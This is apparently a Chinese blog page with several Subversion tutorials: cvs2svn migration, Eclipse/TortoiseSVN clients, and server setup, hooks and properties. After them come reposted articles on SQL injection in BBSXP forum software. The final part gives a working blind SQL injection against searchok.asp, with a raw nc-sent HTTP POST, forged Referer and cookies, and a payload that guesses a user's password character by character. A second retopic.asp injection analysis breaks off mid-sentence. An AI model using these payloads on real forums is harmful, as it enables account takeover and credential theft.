由于cvs2svn用到了GUN sort工具,因此我们还必须到http://unxutils.sourceforge.net/ 下载UnxUtils.zip,把该压缩包下的usr/local/wbin/sort.exe文件解压到cvs2svn目录中;同时我们还需要下载RCS的一个工具co.exe,到http://www.cs.purdue.edu/homes/trinkle/RCS/ 下载rcs57pc1.zip,把该压缩包中的bin/win32下的rcslib.dll以及co.exe这两个文件同样解压到cvs2svn目录中。

接下来我们开始转换资源库,输入以下命令
C:\Python\python cvs2svn –s d:\svn\repository\project1 \project1

其中我们假设project1是原有CVS资源库中的一个项目。
下面是在我的机器上转换完毕后cvs2svn显示详细的统计信息:

cvs2svn Statistics:
------------------
Total CVS Files:                 7
Total CVS Revisions:             7
Total Unique Tags:               0
Total Unique Branches:           0
CVS Repos Size in KB:         2261
Total SVN Commits:               2
First Revision Date:    Sat Sep 03 15:05:26 2005
Last Revision Date:     Sat Sep 03 15:05:27 2005
------------------
Timings:
------------------
pass 1:     0 seconds
pass 2:     0 seconds
pass 3:     0 seconds
pass 4:     0 seconds
pass 5:     0 seconds
pass 6:     0 seconds
pass 7:     0 seconds
pass 8:     1 second
total:      3 seconds

转换完毕后我们用浏览器打开 http://localhost/svn/project1 即可看到

点击trunk链接就可以看到项目的所有文件,接下来可以把你需要转换的项目重复执行上面的步骤即可。

以上是本文要介绍的内容,涉及实际应用中经常要面临的问题。以独立服务方式运行的Subversion其守护端口是3690,我们通过其跟Apache HTTP服务器结合使之可以方便的在互联网上进行资源库的发布;同时对于现在正在使用CVS的用户来讲可以通过cvs2svn来转换已有的资源库到Subversion上,这可打消CVS用户在考虑移植时候的顾虑。


参考资料

《用Subversion构建版本控制环境》
http://www-128.ibm.com/developerworks/cn/opensource/os-subversion/
Subversion的官方网站  http://subversion.tigris.org/
CVS2SVN    http://cvs2svn.tigris.org/
Apache网站    http://httpd.apache.org/
Python官方网站   http://www.python.org/
Windows域用户验证模块 http://tortoisesvn.tigris.org/mod_auth_sspi.zip

- 作者: killerz 2005年12月28日, 星期三 15:03  回复(1) |  引用(0) 加入博采

用Subversion+eclipse 构建版本控制环境
用Subversion+eclipse 构建版本控制环境

构建版本控制环境
Subversion 项目的初衷是为了替换现在开源社区最为流行的版本控制软件 CVS,在 CVS的功能的基础上有很多的提升同时也能较好的解决 CVS 系统的一些不足,这些提升主要包括以下的一些方面:
1. 目录、文件以及改名等元数据的版本化
不同于 CVS 只关心文件的内容以及文件是否存在,所有文件、目录的相关操作都是被版本化的,例如文件的改名、拷贝等等;
2. 提交操作是真正的原子操作
在 Subversion 中,提交操作是不可分割的,修订版本号是基于每次提交操作而非文件。提交日志被附加在每个修订版本中,而不是像 CVS 一样冗余的进行存储;
3. 可通过 Apache 服务器提供基于 WebDAV/DeltaV 协议的支持
该功能可使 Subversion 通过 Apache Web 服务器使资源库更加灵活的在网上进行共享,使其在互操作性上大大优于 CVS;
4. 可独立运行
当你不想使用 Apache 2.x 时候,你也可以使用 Subversion,它可以以守护进程或者是Windows 下的服务方式独立运行;
5. 分支(Branching)与标签(Tagging)操作是轻量级的;
6. 客户服务器端分层库结构设计;
7. 资源库可以采用数据库(BerkeleyDB)或者是使用特定格式的文件进行存储;
8. 更有效的对二进制文件进行处理。
更多的特性可以参照 Subversion 提供的文档(http://subversion.tigris.org/)
在Windows下安装最为方便的办法就是下载安装程序,你可以到下面这个地址下载最新的二进制压缩版本svn-win32-1.2.3.zip ,地址是: http://subversion.tigris.org/servlets/ProjectDocumentList?folderID=91 把该文件解压到一个目录,假定为 D:\subversion。
接下来新建一个存放项目的资源库目录,例如:D:\repository\project1,执行下面命令对这个项目目录进行初始化: D:\subversion\bin> svnadmin create D:\repository\project1
Subversion会在D:\repository\project1目录下生成很多的子目录以及文件,接下来我们需要设置该项目的用户信息以及项目的基本信息,打开D:\repository\project1\conf\passwd文件,去掉[users]的注释,并添加用户如下:



            ### This file is an example password file for svnserve.
            ### Its format is similar to that of svnserve.conf. As shown in the
            ### example below it contains one section labelled [users].
            ### The name and password for each user follow, one account per line.
            [users]
            admin = admin1234
            liudong = liudong123
            

Subversion使用了明码存储用户的口令,这应该算是它的一个不足。
接下来打开conf\svnserve.conf修改如下



            [general]
            anon-access = read
            auth-access = write
            password-db = passwd
            realm = project1
            

在做完这些基本的设置后就可以启动 Subversion 了,当然最好的方式就是让 Subversion 做为一个服务来运行,我们可以通过一个第三方的工具 SVNService 让 Subversion 以 Windows 服务的方式运行。
到 http://dark.clansoft.dk/~mbn/svnservice/ 下载SVNService.zip并把它解压到{Subversion}\bin目录下,通过运行 svnservice -install -d -r D:\repository\project1 ,执行的结果显示:SVNService installed. 这时候你可以在服务控制台中看到名为SVNService的服务,启动它就可以了,如果你不想用服务的方式启动Subversion,你可以运行svnserve -d来启动Subversion。
要卸载SVNService服务,只需要运行 SVNService -remove 即可。
至此,Subversion已经安装成功,我们将在接下来的一节中介绍如何通过各种客户端对资源库进行操作。


回页首


一个版本控制软件好不好不仅在于服务器端是否提供足够强大的功能,同时有没有足够友好的客户端也是非常重要的。
Subversion 本身提供一个基于命令行的工具 svn,基本上所有的操作都可以通过这个工具来完成,但是用户操作界面不太友好。不过我们可以先使用这个工具来验证一下我们之前安装的 Subversion 服务是否已经正常工作。接下来我们先随便导入一个项目,并对这个项目的某些文件进行简单的修改、提交并重新导出项目,通过这些基本的操作先来体验一下Subversion。(为了操作方便你最好把{subversion}\bin目录加到系统的PATH环境变量中)
1. 导入项目
转到你的项目所在的目录,执行下面命令来提交整个项目
svn import . svn://localhost/project1 -m "initial import" --username liudong --password liudong123
其中[.]表示当前目录,你也可以指定项目的绝对路径。
2. 检出项目
为了验证刚才导入的项目,我们转到一个新的目录下,执行
svn checkout svn://localhost/project1 --username liudong -password liudong123
就可以在当前目录下生成一个project1的项目目录,目录中的内容就是我们刚才所提交的所有文件。
3. 提交修改后的文件
修改项目中的任何一个文件,使用命令来提交所作的修改:
svn commit ReadMe.txt -m "modified" --username liudong -password liudong123
4. 获取最新的版本
当项目组的其他成员修改并提交了某个文件,你可以通过下面命令来获取到该文件的最新的版本:
svn update -r HEAD ReadMe.txt --username liudong -password liudong123
上面四个是版本控制环境中最最基本的操作,不过这样的操作环境你肯定觉得麻烦,对于使用Eclipse环境进行开发的朋友来讲,接下来我们介绍一个Eclipse的插件Subclipse,该插件提供对Subversion服务的操作支持。你可以单独下载该插件的压缩包进行本地更新或者通过Eclipse Update进行远程安装,远程安装的URL是 http://subclipse.tigris.org/update ,相信大家对Eclipse Update已经了如指掌,这里不再罗嗦。
检查一下插件有没有安装成功吧,打开菜单Windows->Preferences->Team检查是否有SVN节点,点击SVN即可看到该插件的设置界面如下图所示:



保持默认的设置即可,接下来我们通过该插件将一个项目导入到Subversion服务器中,右击项目名->Team->Share Project…打开项目共享对话框,对话框有两个选择,一是Eclipse内置的对CVS的支持,还有另外一个就是我们刚装上的SVN。选择SVN进入服务器设置界面,入下图



需要填写的是服务器的URL以及用户名和口令,服务器的URL不需要填写项目名称,点击下一步按钮进入项目名称设置



在这里可以看到Subclipse会自动给URL加上项目的名称。点击结束按钮将出现提交对话框如下图



选择你所需要提交的文件或者目录点击OK按钮即可完成项目的导入。接下来的很多操作跟CVS很类似,但是又比CVS的功能强大得多,随便右击一个文件打开Team的上下文菜单如下:



通过该菜单我们可以看到CVS有的功能在这上面都有,而且还包括可以对文件进行加锁和解锁操作,同时还有可以设置文件的属性,可以通过SVN Properties视图查看某个文件的属性



与CVS不同的是当文件被修改后SVN插件显示的是一个星号的小图标。同样的,当有些文件你并不想添加到资源库中的时候,你也可以像CVS一样把该文件添加到svn:ignore。Subclipse插件还有更多其他的功能这里不一一介绍了,大家可以在使用的过程中去发掘。
以上介绍的针对使用Eclipse开发环境的人员,但是项目组的一些其他成员例如网页设计师,他们怎么来方便的使用Subversion呢?因此接下来我们介绍一个集成在Windows Shell的客户端工具TortoiseSVN (http://tortoisesvn.tigris.org/),利用这个工具也可以非常简单的进行资源库的操作。TortoiseSVN的安装非常简单,直接运行安装程序,按照默认方式安装即可,安装完毕需要重新启动系统。
如果没什么意外的话,随便右击一个文件即可看到上下文菜单多了一个菜单项是TortoiseSVN,如果是文件夹还会有另外一个项是SVN Checkout…。在使用之前你可以根据自己的喜欢对TortoiseSVN进行一些设置,右击任一文件选择TortoiseSVN->Settings即可打开设置对话框如下:



TortoiseSVN的一个非常有用的工具就是资源库浏览器,在桌面空白位置单击鼠标右键选择TortoiseSVN->Repo-Browser即可打开资源库浏览器如下图所示:



通过该浏览器你可以浏览资源库中的所有项目以及项目中每一个文件的信息。但是怎么做一些日常的操作呢,例如提交、更新等等?
首先我们先看如何从资源库中检出(CheckOut)一个已有的项目,在空白处单击鼠标右键选择SVN Checkout…菜单项



输入存放项目的文件夹以及项目对应的SVN的URL地址如上图,点击OK按钮后TortoiseSVN会显示详细的进度信息



转到存放项目的文件夹即可看到整个项目的所有文件已经被检出,而且图标已经被替换成TortoiseSVN的图标,如下图所示:



这个时候你就可以随意的修改文件,并在修改后右击所修改的文件即可进行提交或者更新操作。
以上介绍的三种不同的Subversion客户端已经可以满足大部分用户的要求,同时三者也可以互为补充。另外Subversion也可以与Apache HTTP服务器结合提供基于WebDAV协议的服务,其在共享方面远远超过了CVS,有兴趣的读者可以阅读Subversion的文档进行配置。
对正在使用CVS的用户来讲,也可以通过一个名为cvs2svn的工具来将已有的项目移植到Subversion中,该工具可以在http://cvs2svn.tigris.org/ 下载。

- 作者: killerz 2005年12月27日, 星期二 17:21  回复(0) |  引用(0) 加入博采

SVN学习笔记
Subversion 系统

多年来,并发版本系统(CVS)一直是在Linux上管理代码或者文本的标准。作为基于RCS上建立但却允许多用户协作的系统而言,CVS记录所有文件的修改信息。这对于程序开发者、网络设计者和系统管理员而言,是非常有用的。
然而,CVS逐渐显示出它的衰老,出现了相似的源代码管理软件。然而大多这种东西都是以牟利为主要目的的。
Subversion就是一种相对新鲜的源代码管理系统。虽然事实上它还在不断的反展之中,但是Subversion已经是一个非常稳定而且成熟的产品。它是一个全新的系统,其功能可以和CVS媲美,同时,它要比CVS更直观,更容易操作。本文就Subversion的安装和一些特殊功能作一个介绍。
安装服务器端

下载Apache和SVN源码包
从官方网站台下载httpd-2.0.52.tar.gz,subversion-1.1.1.tar.gz
(因为redhat 9默认安装的Apache没有并包含--enable-so选项,所以无法产生mod_dav_svn.没有这个模块,SVN就无法采用http方式运行,所以必须重新编译新的Apache)
以root身份执行:
#tar zxvf httpd-2.0.52.tar.gz
#cd httpd-2.0.52
#./configure --enable-dav --enable-so --enable-maintainer-mode
#make
#make install
此时会产生/usr/local/apache2目录,接着执行:
#tar zxvf subversion-1.1.1.tar.gz
#./configure --with-apxs=/usr/local/apache2/bin/apxs
# rm /usr/local/lib/libsvn*
# make clean && make && make install

此时会自动在/usr/local/apache2/conf/httpd.conf添加
LoadModule dav_svn_module  modules/mod_dav_svn.so
安装完成后,运行svnserver --version确认版本为1.1.1。
SVN服务器安装结束.

安装客户机端

window客户机:
直接安装TortoiseSVN-1.1.1-UNICODE_svn-1.1.1.msi,方法同一般软件安装相同。
Linux客户机:
方法舆安装服务器相同。
(注意redhat 9默认安装的SVN版本为0.17.1,它的客户端命令svn无法舆新的SVN服务器通讯,必须重新安装)

建立仓库Repository

Subversion 的档案库是个中央仓储, 用来存放任意数量项目的受版本控管资料,建立方法很简单
#svnadmin create path/to/repos
举个例子:
#svnadmin create /home/mysvn
#chown –R nobody /home/mysvn
运行服务器

Subversion服务器有两种运行方式,一是可以作为Apache 2.0的一个模块, 以WebDAV/DeltaV协议与外界连通;另外,也可使用Subversion 自带的小型服务器程序svnserve。该程序使用的是自带的通讯协议,可以很容易地透过SSH以
以http方式运行
在/usr/local/apache2/conf/httpd.conf中加入:
<Location /svn/repository>
 DAV svn
 SVNPath /home/mysvn
</Location>
在服务器的浏览器中输入网址:
http://localhost/svn/repository/
这时候,你会看到这样的显示:

这表明服务器已经以http方式正常运行了.
以svnserve方式运行
这种方式的运行又可以分为以下两种(这和vsftp有些相似)
1) standalone mode
直接运行 #svnserve –d
运行 lsof -i :3690可以看到SVN服务器已经在运行
2) xinetd mode
在/etc/xinetd.d/下生成svnserve文件,内容如下
service svnserve
{
disable = no
socket_type             = stream
protocol                 = tcp
wait                    = no
user                    = apache
server                  = /usr/local/bin/svnserve
server_args             = -i
}
编辑 /etc/services 檔,加入底下两行:
svnserve        3690/tcp                        # Subversion svnserve
svnserve        3690/udp                        # Subversion svnserve
重启xinetd服务,运行 lsof -i :3690可以看到SVN服务器已经在运行

客户机访问

客户机的访问方法舆服务器的运行方式有直接关系
window客户机:
1) 服务器以http方式运行
安装完TortoiseSVN-1.1.1-UNICODE_svn-1.1.1.msi后,在你想工作的目录下点击右键,执行checkout,按上图输入即可。

2) 服务器以svnserve方式运行
同上的区别只是URL of repository变为 svn://svn服务器ip/home/mysvn
或者 svn+ssh://svn服务器ip/home/mysvn
(注意不是//svn服务器ip//svn/repository)
linux客户机:
1) 服务器以http方式运行
执行 #svn checkout http: //svn服务器ip/svn/repository
2) 服务器以svnserve方式运行
执行 #svn checkout svn://svn服务器ip/home/mysvn
或者 #svn checkout svn+ssh://svn服务器ip/home/mysvn

客户认证机制

这舆服务器的运行方式有关
服务器以http方式运行
比如我们想给 Sally 与 Harry 送交存取档案库的权限. 首先, 我们必须把它们加入到密码档案.
# ### 第一次: 以 -c 建立档案
# htpasswd -c /etc/svn-auth-file harry
New password: *****
Re-type new password: *****
Adding password for user harry
# htpasswd /etc/svn-auth-file sally
New password: *******
Re-type new password: *******
Adding password for user sally
#
接着,在/usr/local/apache2/conf/httpd.conf的加入:
<Location /svn/repository >
 DAV svn
 SVNPath /home/mycvs
 AuthType Basic
 AuthName "Subversion repository"
 AuthUserFile /etc/svn-auth-file
Require valid-user
</Location>
重新激活 Apache后,如果有人要访问SVN服务器,系统会要求他输入用户名和密码。 只有输入Sally 或Harry的用户名和相应的密码,才可以对档案库进行修改和访问

服务器以svnserve方式运行
默认下客户可以以匿名方式通过svn://方式任意访问档案库,为了限制其权限,比如只允许读操作,可以通过修改档案库conf子目录中的svnseve.conf文件来实现。
#vi /home/mysvn/conf/svnseve.conf
修改[general]字段下内容为:
anon-access = read
如果设为anon-access = none,则匿名用户不可以通过svn://方式访问档案库
为了实现用户认证,我们一般采用svn+ssh://访问机制。
首先在svnseve.conf文件设置anon-access = none禁止匿名用户通过svn://方式访问档案库,然后在其后加入
auth-access = write
auth-access 是限制有援权的使用者(使用svn+ssh:// 来登入) 的存取权限,我们设为是可以读写。
当用户通过svn+ssh://访问时,服务器会自动激活ssh认证机制,要求用户输入密码,对于window用户来说还需要安装第三方软件openssh,才可以采用这种机制
Hook scripts
挂勾 (hook) 是改动档案库时所触发的程序, 比如当你提交更动前,会先触发pre-commit,提交更动后,则会触发post-commit,我们可以利用hook来实现一些自动控制。档案库的hook 子目录中, 预设是放置各个档案库挂勾的模板:
post-commit.tmpl          
pre-revprop-change.tmpl
post-revprop-change.tmpl  
start-commit.tmpl
pre-commit.tmpl        
如果要使用这些hook,就必须把它的后缀名.tmpl去掉,拷贝为
post-commit          
pre-revprop-change
post-revprop-change  
start-commit
pre-commit
这里主要介绍pre-commit和post-commit(事实上它们就是在特定的情况下被触发的普通的shell程序,至于shell的内容由用户自己随意编写,但是要保证名称不能改动)
pre-commit
本挂勾执行的时间为异动完成之后, 送交之前.档案库会传递两个自变量给这个程序: 档案库的路径, 以及准备送交的异动名称. 如果程序传回一个非零的结束值, 送交会被中止, 而异动会被删除.

如何应用pre-commit我们不妨举个例子:
假如有一个项目由Mail Team,Login Team和PHP Team三个Team共同通过SVN系统开发完成。当项目准备发布的时候,PM人员发现Mail功能方面存在一些 bug,需要Mail Team去修改,为了防止其它Team的人员修改系统,我们可以在任何改动档案库的企图之前用pre-commit去检查log message信息,(因为任何更动档案库的操作都必须提供log message信息,PM可以事先舆Mail Team约定好一个log message),如果舆pre-commit中设定的log message不相符,则不能提交更动。
pre-commit源程序如下:
#!/bin/sh
REPOS="$1"
TXN="$2"
SVNLOOK=/usr/local/bin/svnlook
$SVNLOOK log -t "$TXN" "$REPOS" | \
  grep –w "bug1234" > /dev/null || exit 1
exit 0
本例中的log message为”bug1234”,任何人想要提交更动就必须用 –m “bug1234”参数,采用-m “bug123”,-m “bug12345”都会提交失败。
post-commit
本挂勾执行的时间是在异动送交, 新修订版被建立之后. 大多数的人用这个挂勾来寄出关于本次送交的电子邮件, 或是建立档案库的备份. 档案库会传递两个自变量给这个程序: 档案库的路径, 以及新建立的修订版号. 本程序的结束码会被忽略.

Subversion 源码树的 tools/hook-script 目录中包含了一个 commit-email.pl 命令,可以用来寄送包含描述指定送交的电子邮件. 这个邮件包含了更动路径列表, 该送交所对应的记录讯息, 使用者, 送交的日期,以及一个以 GNU diff 样式表示的本次更动差异. 我们可以将这个程序舆post-commit这个hook搭配起来使用来实现档案库更动后自动mail给相关人员的功能。
post-commit源程序如下:
#!/bin/sh
REPOS="$1"
REV="$2"
commit-email.pl "$REPOS" "$REV" PM@yourdomain.com
##需要指明commit-email.pl的绝对路径

特殊性质

除了对你的目录与档案进行版本控制之外, Subversion 还提供了一个接口, 可用来新增, 修改, 以及移除已纳入版本控制的目录与档案的版本控制描述资料. 我们称这个描述资料为性质,在这里我主要介绍以下几个比较重要的特殊性质
svn:mime-type
svn:mime-type 性质在 Subversion 中有很多作用. 除了作为储存档案的多用途网际网络邮件延伸语法 (MIME) 分类之外, 这个性质的内容还会决定几项 Subversion 的行为特征.
举个例子, 如果 svn:mime-type 性质设为文字的 MIME 类别 , Subversion 会假设该档的内容是二进制(也就是人类看不懂的资料). Subversion 提供的功能中, 其中一项是在从服务器收到工作档的更新中, 依文字内容与文字列进行合并. 但是对含有二进制资料的档案, 根本就没有 “文字列” 的概念. 因此, Subversion 对这些档案在更新时, 不会试着进行内文合并. 它改用另一种方式。
一般来说Subversion 在执行 svn import 与 svn add 子命令时, 会使用二进制侦测运算法的方式来协助使用者.但是如果 Subversion 猜错了, 或是你希望将 svn:mime-type 设定成更为明确的值(可能是 image/png)你都可以移除或是手动编辑这个性质.
svn:ignore
svn:ignore 性质包含了档案样式的列表, Subversion 处理时会忽略. 它可以与执行时期设定的 global-ignores 选项一起工作, 以便在类似 svn status 的命令中过滤掉未纳入版本控制的目录与档案.
我们知道新增的文件和目录必须透过 svn add 命令, 才会被纳入 Subversion 的管理. svn status 命令会将工作复本中未纳入版控制目录与档案显示出来.
$ svn status calc
M     calc/button.c
?      calc/calculator
?      calc/data.c
?      calc/debug_log
?      calc/debug_log.1

在这个范例中, 用?标注出来的文件就是未纳入版控制的档案.如果你不想每次执行 svn status 时, 都看到这些档案, 那幺svn:ignore 性质就是解决方案。你可以透过 svn propedit svn:ignore calc 对 calc 目录加上一些忽略样式. 举个例子,将以下的值作为 svn:ignore 性质的新内容:
calculator
debug_log*
加上这个性质后再执行你的 svn status 输出便会不同:
$ svn status
M     calc
M     calc/button.c
?      calc/data.c
现在, 所有不想看到的东西都从输出中消失了!


svn:keywords
Subversion 具有取代关键词(有关纳入版本控制档案的有用信息)进入档案内容的功能.
举个例子, 假设你有个文件, 想要在里面显示最近一次修改的日期. 你可以把这个负担加诸文件的作者身上, 让他们每一次送交更动之前, 顺便添加最近一次修改日期的部份. 但是迟早有人会忘记这件事. 换个方式, 只要叫 Subversion 对 LastChangedDate 关键词进行关键词取代即可.
Subversion 定义了可用来进行取代的关键词列表. 这个列表包含了以下五个关键词:
LastChangedDate
LastChangedRevision
LastChangedBy
HeadURL
Id
如果只把关键词定位锚加进档案里的话, 什幺事也不会发生.要告诉 Subversion 是否该对某一个档案进行关键词取代,得使用svn:keywords这个性质。当它被设定时, 它会控制该档案哪个关键词应该被取代.
举个例子, 假设你有一个纳入版本控制的档案, 名为 weather.txt, 看起来像这样:
Here is the latest report from the front lines.
$LastChangedDate$
$Rev$
Cumulus clouds are appearing more frequently as summer approaches.
如果没有设定该档案的 svn:keywords 性质, Subversion 什幺事也不会作. 让我们开启关键词 LastChangedDate 的内容取代.
$ svn propset svn:keywords "LastChangedDate Author" weather.txt
property `svn:keywords' set on 'weather.txt'
$
在你送交了这个性质更动之后, Subversion 会显示为:
Here is the latest report from the front lines.
$LastChangedDate: 2002-07-22 21:42:37 -0700 (Mon, 22 Jul 2002) $
$Rev$
Cumulus clouds are appearing more frequently as summer approaches.
这样不管谁提交这个文件,都会在里面显示最近一次修改的日期。
svn:eol-style
除非另外指定版本控制档案的 svn:mime-type 性质, Subversion 会假设档案包含人类可读的资料.这对于列尾符号 (EOL) 是很不幸地, 因为不同的操作系统会使用不同的符号来表示一列的结尾. 举个例子, 一般用在 Windows 平台上的列尾符号是两个 ASCII 控制字符 :返回字符 (CR) 与换行字符 (LF). 但是 Unix 软件就只使用 LF 字符来表示一列的结尾.这样以来window客户提交的档案中的CR 字符在 linux客户端会显示成 ^M, 而linux客户提交的档案中CR 字符在 Windows 客户端会被忽略。结果将档案里的所有文字列合并成一个超长的文字列, 这是因为没有返回CRLF字符组合的存在来表示一个换行。 解决的方法是 svn:eol-style 性质. 当这个性质设定为native时, Subversion 会根据系统的类型来决定是否对该档案的结尾进行自动处理。.
svn:externals
有的时候, 一个工作复本可能包含了数个不同来源的工作复本. 举个例子, 你可能想要有数个不同的目录, 各来自不同的档案库.我们可以通过svn:externals 性质来宣告这一对对应关系。内容是子目录对应至 Subversion 档案库 URL 的多行表格.
$ svn propget svn:externals calc
third-party/sounds          http://sounds.red-bean.com/repos
third-party/skins           http://skins.red-bean.com/repositories/skinproj
third-party/skins/toolkit   http://svn.red-bean.com/repos/skin-maker
当有人取出 calc 目录的工作复本, Subversion 还会继续取出在外部定义里的项目.
$ svn checkout http://svn.example.com/repos/calc
A  calc
A  calc/Makefile
A  calc/integer.c
A  calc/button.c
Checked out revision 148.

Fetching external item into calc/third-party/sounds
A  calc/third-party/sounds/ding.ogg
A  calc/third-party/sounds/dong.ogg
A  calc/third-party/sounds/clang.ogg
Checked out revision 14.

Fetching external item into calc/third-party/skins


小结

Subversion有一份很好的文檔——《Version Control with Subversion》(http://svnbook.red-bean.com/)。它提供了有关Subversion的各方面内容,如使用、管理和开发等。
经过数年的开发,以替代CVS为目标的Subversion,相信以其强大的功能,对CVS良好的继承性,一定会有很好的发展

- 作者: killerz 2005年12月26日, 星期一 13:11  回复(1) |  引用(0) 加入博采

搞论坛的小朋友小心点!
搞论坛的小朋友小心点!
searchok.asp中存在多处可以SQL Injection的问题,代码是这样的:... ...
forumid=Request("forumid")
... ...
if Request("forumid")<>"" then
forumidor="forumid="&forumid&" and"
end if
... ...
count=conn.execute("Select count(id)from forum where deltopic<>1 and
"&forumidor&" "&item&" "&TimeLimit&"")(0)
这其实是一个极其愚蠢的错误,我敢用我的背心打赌,要是有商业版它(们)绝对不敢这么 写!可是免费版就是免费版,像dvBBS一样,就算作者知道了漏洞,免费版的用户要想得到 补丁也是极其困难的事情。谁叫有商业用户呢,优先的当然不会是普通的网民,有那个的才 是娘嘛。
嗯,攻击一下。
要攻击的话还要看几个地方,说起来BBSXP虽然代码写得难看,但是还是有一些基本的防护
措施(尽管没用),现要绕开这些个形同虚设障碍才好办事情。先来分析一下有那些障碍,
代码是这样的:
<-- #include file="setup.asp" -->
if Request.Cookies("username")="" then
error("
您还还未登陆社区")
end if
if
instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server
_name")&"") = 0 then
error("
来源错误")
end if
setup.asp中的防范很简单,只要你或者浏览器提交的cookie中username不包含空格和单引
号而且确实存在这个用户就可以了。上面的第一个if判断好像没有什么用,呵呵,第二个if
判断是要求引用来源与服务器相一致,也很容易办到。其实我们可以先看看浏览器是怎么提
交请求的,大部分情况下,都可以稍微改一下就用,而且最重要的,浏览器提交的正常数据
百分之百能够满足那些(作者认为的)苛刻条件,这将是一个非常好的参考。当然,如果你
发现浏览器提交的数据都不能通过代码中的检测条件,那只能说明编写这个的人脑壳坏掉了

抓浏览器提交的数据,只要一个NC就可以,而且我觉得脚本攻击的话,极端情况下也就只需
要一个NC,真是居家旅行,XXXX,必备XX啊。
先在自己的机器上配置好IIS和BBSXP,注册一个ID登陆进去,然后转到search.asp,搜索栏
里面随便填一个1吧,然后我们开始抓提交的数据了。现在把Internet信息服务中的你使用
的站点停止,在cmd中用NC监听80口(nc -l -p 80),回到浏览器上面,轻轻按一下回车键
,OK,NC那边数据已经出来了,我的是这样的。
POST /BBSXP/searchok.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel, application/msword,
application/vnd.ms-powerpoint, */*
Referer: http://localhost/BBSXP/search.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 108
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D6%2D24+12%3A38%3A18;
onlinetime=2002%2D6%2D24+12%3A38%3A05; username=never; userpass=FuckUSA!!;
addmin=0; ASPSESSIONIDGQQGGLBU=CLGHHMJCCGPBMOHGPPDNFCOO
content=1&searchxm=username&search=key&searchxm2=topic&TimeLimit=5&forumid=&subm
it1=%BF%AA%CA%BC%CB%D1%CB%F7
如果想知道每一行代表什么意思,请找参考书,这里不会一一介绍的。我们只看重要的:
Referer: http://localhost/BBSXP/search.asp
这个值一定要包含对方服务器的名字,比如我是在本机上测试的,就要有localhost,如果
你在www.Yuzi.net上测试,一定要有www.Yuzi.net。这是因为要使得
instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server
_name")&"") = 0这个条件不成立(见上面的代码)。
Cookie: eremite=0; now=2002%2D6%2D24+12%3A38%3A18;
onlinetime=2002%2D6%2D24+12%3A38%3A05; username=never; userpass=FuckUSA!!;
addmin=0; ASPSESSIONIDGQQGGLBU=CLGHHMJCCGPBMOHGPPDNFCOO
Cookie伪造就指的这个东西了,要是你乱填Cookie的值,就是Cookie伪造,呵呵!不过这里
该是什么就是什么,我们没有必要去作假的Cookie,username和userpass都填上你的真实资
料吧。
Content-Length: 108
这是POST过去的数据的长度,可能要你自己计算,但是可以把这个值稍微写大一点,并不影
响你提交的数据的内容,只是可能要多打几次回车。
content=1&searchxm=username&search=key&searchxm2=topic&TimeLimit=5&forumid=&subm
it1=%BF%AA%CA%BC%CB%D1%CB%F7
这就是本次的最重要的内容,POST过去的数据。按照上面对漏洞的理解,这里要修改的是
forumid的值,如果是MSSQL的话,方法是直接用冒号结束前一句然后注入你喜欢的SQL查询
或者是存储过程,这里就不多说了。因为大部分用的是ACCESS,只能制造畸形的查询条件来
猜测表的内容,这里做一个示范。记住,POST过去的东西,很多要先编码,比如空格要用
%20表示,不然会得不到预定结果的。我用的数据是这样的:
D:\>nc localhost 80
POST /BBSXP/searchok.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel, application/msword,
application/vnd.ms-powerpoint, */*
Referer: http://localhost/BBSXP/search.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 178
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D6%2D24+12%3A38%3A18;
onlinetime=2002%2D6%2D24+12%3A38%3A05; username=never; userpass=FuckUSA!!;
addmin=0; ASPSESSIONIDGQQGGLBU=CLGHHMJCCGPBMOHGPPDNFCOO
content=1&searchxm=username&search=key&searchxm2=topic&TimeLimit=&forumid=1%20an
d%201=(select%20count(*)%20from%20user%20where%20left(userpass,1)="2"%20and%20us
ername="never")%20&submit1=%BF%AA%CA%BC%CB%D1%CB%F7
看出来了吗,fourmid的值是
1 and 1=(select count(*) from user where left(userpass,1)="2" and
username="never")
呵呵,到这里就可以慢慢的来猜别人(这里是never)的密码了。手工猜在这里就很难办了
,最好是用perl写个小东东。
至于猜测成功与否的条件也是非常简单的,因为serachok.asp中判断Count=0(没有结果)
时,会出现“对不起,没有找到您要查询的内容”的字样,只要获得的数据中不出现这个,
那么几乎可以肯定猜对了。
嗯,写到这里发现这种东西写得一点创意都没有,不过那位问我判断
instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server
_name")&"") = 0是否有用的朋友,我相信您肯定明白答案了吧。

BBSXP漏洞[倒着看二]
[ 作者:佚名 来源:来自 Internet 文章录入:STZY 时间:2003.08.12]
不得不说,这个BBSXP的缩进实在是混乱,前些天调试retopic.asp的时候,真是把我看得差
点把键盘都砸了。简简单单的几个if..then..else..endif跨度大得跟什么似的,看得我头
皮发麻,两腿抽筋,最后幸亏editplus里面可以ctrl+],不然真不知道最后要走多少弯路。
嗯,火死了……
retopic.asp行199开始是这样子写的,仍然用老夫的背心打赌,这种程度的漏洞,只有高中
生会犯,嘻嘻……
if Request("retopicid")<>"" then
sql="select * from reforum where id="&Request("retopicid")&""
rs.Open sql,Conn
else
sql="select * from forum where ID="&Request("id")&" and
forumid="&Request("forumid")&""
rs.Open sql,Conn
end if
要一口咬定这个是漏洞,光乱说是不行的。这个地方,我测试了一下,确实有问题,如果大
家有时间,可以下一个1.65a版下来看看,很容易利用,当然,如果大家只对方法感兴趣的
话,往下面看吧。不过长时间不去思考,脑袋会退化的,:-)。
粗略一看,可以提交retopicid或者提交id和forumid来利用。由分析的结果可以知道,12行
到169行是一个大大的if语句,如果进入了这个条件的话,那么会被一个succeed()函数结束
掉,所以要绕开这个条件。我们还是从NC过去正常的提交着手,如果你不太清楚过程,请参
